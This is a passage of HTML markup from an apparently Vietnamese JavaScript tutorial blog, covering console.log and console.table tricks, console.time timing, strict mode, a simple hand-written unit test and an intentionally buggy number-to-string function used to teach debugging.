*/</span></code></pre></div> <p>Cách sử dụng console.log như trên có một vấn đề là: bạn không trực tiếp thấy được mỗi giá trị tương ứng với biến nào. Khi xem log, bạn phải quay lại code để xem thứ tự các biến là gì. Như vậy, chẳng phải là rất mất thời gian hay sao?</p> <p>Có 2 giải pháp cho vấn đề trên.</p> <ul> <li><strong>Giải pháp 1</strong>: Viết thêm nội dung miêu tả</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"26"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Jenifer"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"18"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"foo"</span><span class="token punctuation">,</span> foo<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"bar"</span><span class="token punctuation">,</span> bar<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"baz"</span><span class="token punctuation">,</span> baz<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* - foo {name: "Alex", age: "26", gender: "male"} - bar {name: "Jenifer", age: "18", gender: "female"} - baz {name: "John", age: "30", gender: "male"} */</span></code></pre></div> <p>Rõ ràng, bây giờ chỉ cần xem log là biết mỗi giá trị tương ứng với biến nào rồi phải không? Cách này khá ổn, tuy nhiên vẫn hơi mất công.</p> <ul> <li><strong>Giải pháp 2</strong>: Đóng gói các biến thành object và sử dụng cú pháp khai báo rút gọn của <a href="/tag/es6/">ES6</a></li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"26"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Jenifer"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"18"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span> foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { bar: {name: "Jenifer", age: "18", gender: "female"}, baz: {name: "John", age: "30", gender: "male"}, foo: {name: "Alex", age: "26", gender: "male"}, } */</span></code></pre></div> <p>Cách này mình thấy khá sáng tạo và thú vị. Bởi cách viết rất ngắn gọn. Mà nội dung hiển thị ra lại đầy đủ và chi tiết.</p> <h2 id="sử-dụng-consoletable-hiển-thị-thông-tin-trực-quan-hơn" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consoletable-hi%E1%BB%83n-th%E1%BB%8B-th%C3%B4ng-tin-tr%E1%BB%B1c-quan-h%C6%A1n" aria-label="sử dụng consoletable hiển thị thông tin trực quan hơn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng console.table hiển thị thông tin trực quan hơn</h2> <p>Tiếp tục với ví dụ bên trên, mình có thể sử dụng <strong>console.table</strong> để hiển thị các giá trị thành dạng bảng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"26"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Jenifer"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"18"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">table</span><span class="token punctuation">(</span><span class="token punctuation">[</span>foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 32.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABIklEQVQY0z2PCW6DUBBDuf8VqxKUkAQSyN/35VWgtiNZ1tiWNTMkEZBfksfdYJTge5qw60IaR97PJ895JiwL0zhymSb8/Y69XAhKUVvjmN47PUd6awwlFuxuUcphjUZKRbSWpDVCSry11BCQUhJCoHlH9p5aK6WUk+kdWjmqGVJOCCnQWiGExDmHMQZjLVprUkq044Jf1N5prZ9Fh3fg8/nwfm/EGBlC8NyuV/ZtO8ucs6zLwroueO8xRmO0PjNKyvMLawxSCqZpYt93Xq+V+zyjlGRwzqOMI+ZKiJmQK3oX6OsN/6engnw88dadfkwFFxJivGBfG7n2E4c++BCxPpMqxNJPtspgHwvBxX9drxvRp3NPpRNyQ80P3PYh/mZiLvwATLXN/3igYmUAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sử dụng console.table" title="Sử dụng console.table" src="/static/294104b1dcb11c330b2642ea537d7023/7c811/su-dung-console.table-completejavascript.com_.png" srcset="/static/294104b1dcb11c330b2642ea537d7023/103f2/su-dung-console.table-completejavascript.com_.png 165w, /static/294104b1dcb11c330b2642ea537d7023/748ba/su-dung-console.table-completejavascript.com_.png 330w, /static/294104b1dcb11c330b2642ea537d7023/7c811/su-dung-console.table-completejavascript.com_.png 660w, /static/294104b1dcb11c330b2642ea537d7023/1144c/su-dung-console.table-completejavascript.com_.png 955w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="sử-dụng-consoletime-và-consoletimeend" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consoletime-v%C3%A0-consoletimeend" aria-label="sử dụng consoletime và consoletimeend permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng console.time và console.timeEnd</h2> <p>Trong 2 bài viết là: <a href="/trien-khai-stack-trong-javascript-voi-array-object-hay-map/">Triển khai Stack trong JavaScript với Array, Object hay Map</a> và <a href="/trien-khai-queue-trong-javascript/">Triển khai Queue trong JavaScript</a>, mình có sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/now">performance.now()</a> để tính toán thời gian thực hiện.</p> <p>Trong đó, cách sử dụng của mình như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> start <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>i <span class="token operator">&lt;</span> <span class="token number">1000000</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> i<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> end <span class="token operator">=</span> performance<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">looper: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>end <span class="token operator">-</span> start<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">ms</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => looper: 5.25999999808846ms</span></code></pre></div> <p>Ở đây, mình phải lấy thời điểm sau và thời điểm trước rồi trừ cho nhau để suy ra thời gian thực hiện của vòng lặp.</p> <p>Tuy nhiên, nếu sử dụng <strong>console.time</strong> và <strong>console.timeEnd</strong> thì sẽ đơn giản hơn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">time</span><span class="token punctuation">(</span><span class="token string">"looper"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>i <span class="token operator">&lt;</span> <span class="token number">1000000</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> i<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">timeEnd</span><span class="token punctuation">(</span><span class="token string">"looper"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => looper: 5.14501953125ms</span></code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số thủ thuật sử dụng console hiệu quả mà mình mới học được. Theo bạn thì những thủ thuật trên có thật sự cần thiết hay không?</p> <p>Ngoài ra, bạn còn biết những thủ thuật, tiện ích nào với console hay không? Chia sẻ với mình và mọi người trong phần bình luận phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/log">Console.log()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/console#Outputting_text_to_the_console">Output text to the console</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/table">Console.table()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/time">Console.time()</a></li> </ul>[email protected]<![CDATA[Debug JavaScript - dễ hay khó?]]><![CDATA[Với mọi ngôn ngữ lập trình, debug là một hoạt động khó và mất nhiều thời gian nhất. Trong đó, debug JavaScript là khó khăn hơn cả. Tại sao vậy? Chúng ta sẽ cùng nhau tìm hiểu về…]]>https://completejavascript.com/debug-javascript-de-hay-kho/https://completejavascript.com/debug-javascript-de-hay-kho/<![CDATA[Debug]]><![CDATA[Strict Mode]]>Thu, 27 Jul 2017 04:03:17 GMT<p>Với mọi ngôn ngữ lập trình, debug là một hoạt động khó và mất nhiều thời gian nhất. Trong đó, debug <a href="/javascript-la-gi/">JavaScript</a> là khó khăn hơn cả. Tại sao vậy?</p> <p>Chúng ta sẽ cùng nhau tìm hiểu về debug trong JavaScript sau đây.</p> <h2 id="khái-niệm-chung-về-bug-và-debug" style="position:relative;"><a href="#kh%C3%A1i-ni%E1%BB%87m-chung-v%E1%BB%81-bug-v%C3%A0-debug" aria-label="khái niệm chung về bug và debug permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khái niệm chung về bug và debug</h2> <p>Bug là lỗi của chương trình. Nhìn chung, chúng ta có 2 loại bug: lỗi <strong>ngữ pháp</strong> và lỗi <strong>ngữ nghĩa</strong>.</p> <ul> <li>Lỗi ngữ pháp: nghĩa là bạn viết sai cú pháp, sai kiểu dữ liệu hay thậm chí là sai chính tả... Đối với những ngôn ngữ lập trình như C/C++ hay Java, bạn sẽ dễ dàng phát hiện và sửa lỗi này vì IDE và trình biên dịch sẽ chỉ ra vị trí lỗi để bạn sửa. Còn đối với JavaScript, bạn sẽ chỉ được thông báo lỗi khi chương trình chạy đến phần đó - vì JavaScript là ngôn ngữ kịch bản, không biên dịch.</li> <li>Lỗi ngữ nghĩa: có thể hiểu là bạn sai về logic, thuật toán hay bị lỗi khi tương tác với hệ thống dẫn đến kết quả bị sai khác so với mong đợi. Lỗi này thì luôn luôn khó phát hiện và bạn sẽ phải kiểm tra lại thật kĩ từng phần trong code để tìm ra vị trí mắc lỗi.</li> </ul> <p>Nếu như bug là lỗi thì debug hay debugging chính là quá trình tìm ra bug.</p> <blockquote> <p>Debugging khó gấp 2 lần việc bạn viết ra code. Nếu viết code thông minh quá mức, bạn sẽ không đủ thông minh để debug nó - Brian Kernighan và P.J. Plauger, The Elements of Programming Style.</p> </blockquote> <h2 id="strict-mode-trong-javascript" style="position:relative;"><a href="#strict-mode-trong-javascript" aria-label="strict mode trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Strict mode trong JavaScript</h2> <p>Trong con mắt của nhiều lập trình viên, JavaScript là một thứ vô cùng lộn xộn. Lập trình JavaScript chẳng khác nào cực hình.</p> <p>Tuy nhiên, JavaScript có cung cấp cho lập trình viên chế độ "use strict". Bằng việc khai báo và sử dụng chế độ này, JavaScript sẽ trở nên chính xác và nghiêm ngặt hơn. Do đó, bạn sẽ không thể viết code bừa bãi trong chế độ này.</p> <p>Ví dụ 1: Không sử dụng strict mode</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">var</span> <span class="token number">Infinity</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span></code></pre></div> <p>Ví dụ 2: Sử dụng strict mode</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: x is not defined</span> <span class="token keyword">var</span> <span class="token number">Infinity</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: Cannot assign to read only property 'Infinity' of object '#&lt;Window>'</span> <span class="token keyword">delete</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: Cannot delete property 'prototype' of function Object() { [native code] }</span></code></pre></div> <p>Qua hai ví dụ trên, ta thấy rằng: khi sử dụng 'use strict', bạn sẽ không thể sử dụng <a href="/kieu-du-lieu-trong-javascript/">biến</a> mà không cần khai báo, không thể gán giá trị cho thuộc tính read-only, không thể delete thuộc tính <a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">prototype</a> của đối tượng <a href="/object-la-gi-object-trong-javascript/">object</a>. Và còn nhiều cái <strong>KHÔNG</strong> nữa. Vì vậy, mình quyết định sẽ viết một bài chi tiết hơn về strict mode sau.</p> <p>Như vậy, việc sử dụng strict mode trong lập trình JavaScript sẽ làm giảm thiểu đáng kể những lỗi không mong muốn.</p> <h2 id="testing-trước-khi-debug-javascript" style="position:relative;"><a href="#testing-tr%C6%B0%E1%BB%9Bc-khi-debug-javascript" aria-label="testing trước khi debug javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testing trước khi debug JavaScript</h2> <p>Khi mà việc sử dụng strict mode hay trình duyệt không thể giúp bạn tìm ra lỗi thì đây là lúc mà bạn cần phải testing - kiểm thử chương trình.</p> <p>Và để tránh phát sinh lỗi khi chương trình mở rộng ra, bạn nên kiểm tra kĩ mỗi khi viết thêm một module, hay một <a href="/ham-la-gi-ham-trong-javascript/">function</a>.</p> <p>Giả sử mình có đoạn chương trình sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Vector</span><span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">=</span> y<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token class-name">Vector</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">plus</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">other</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>x <span class="token operator">+</span> other<span class="token punctuation">.</span>x<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>y <span class="token operator">+</span> other<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Bây giờ mình sẽ viết một đoạn chương trình khác để kiểm tra xem đối tượng Vector có hoạt động đúng như mong đợi hay không:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">testVector</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> p1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> p2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Vector</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> p3 <span class="token operator">=</span> p1<span class="token punctuation">.</span><span class="token function">plus</span><span class="token punctuation">(</span>p2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p1<span class="token punctuation">.</span>x <span class="token operator">!==</span> <span class="token number">10</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string">"fail: x property"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p1<span class="token punctuation">.</span>y <span class="token operator">!==</span> <span class="token number">20</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string">"fail: y property"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p2<span class="token punctuation">.</span>x <span class="token operator">!==</span> <span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string">"fail: negative x property"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p3<span class="token punctuation">.</span>x <span class="token operator">!==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string">"fail: x from plus"</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>p3<span class="token punctuation">.</span>y <span class="token operator">!==</span> <span class="token number">25</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string">"fail: y from plus"</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token string">"everything ok"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">testVector</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => everything ok</span></code></pre></div> <p>Việc viết test như trên gọi là viết <strong>unit test</strong>. Tuy nhiên, thực tế chúng ta sẽ có những <a href="/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/">framework</a> hỗ trợ viết unit test chuyên nghiệp hơn, nhanh gọn hơn.</p> <h2 id="debugging---debug-javascript" style="position:relative;"><a href="#debugging---debug-javascript" aria-label="debugging debug javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Debugging - Debug JavaScript</h2> <p>Một khi đã xác định được chương trình có bug, công việc tiếp theo là tìm ra vị trí gây ra bug và sửa nó.</p> <p>Ví dụ chương trình sau sẽ chuyển một số <em>n</em>, cơ số <em>base</em> thành <a href="/kieu-du-lieu-trong-javascript/">string</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token parameter">n<span class="token punctuation">,</span> base</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> result <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">,</span> sign <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> sign <span class="token operator">=</span> <span class="token string">"-"</span><span class="token punctuation">;</span> n <span class="token operator">=</span> <span class="token operator">-</span>n<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">do</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token function">String</span><span class="token punctuation">(</span>n <span class="token operator">%</span> base<span class="token punctuation">)</span> <span class="token operator">+</span> result<span class="token punctuation">;</span> n <span class="token operator">/=</span> base<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>n <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> sign <span class="token operator">+</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1.5e-3231.3e-3221.3e-3211.3e-3201.3e-3191.3e-3181.3…</span></code></pre></div> <p>Rõ ràng là chương trình hoạt động không đúng mong đợi. Bây giờ ta sẽ phải tìm ra đoạn gây ra lỗi và sửa nó.</p> <p>Chiến lược hiệu quả trong trường hợp này là ta sẽ ghi ra log kết quả sau từng đoạn con của chương trình, để xem đoạn 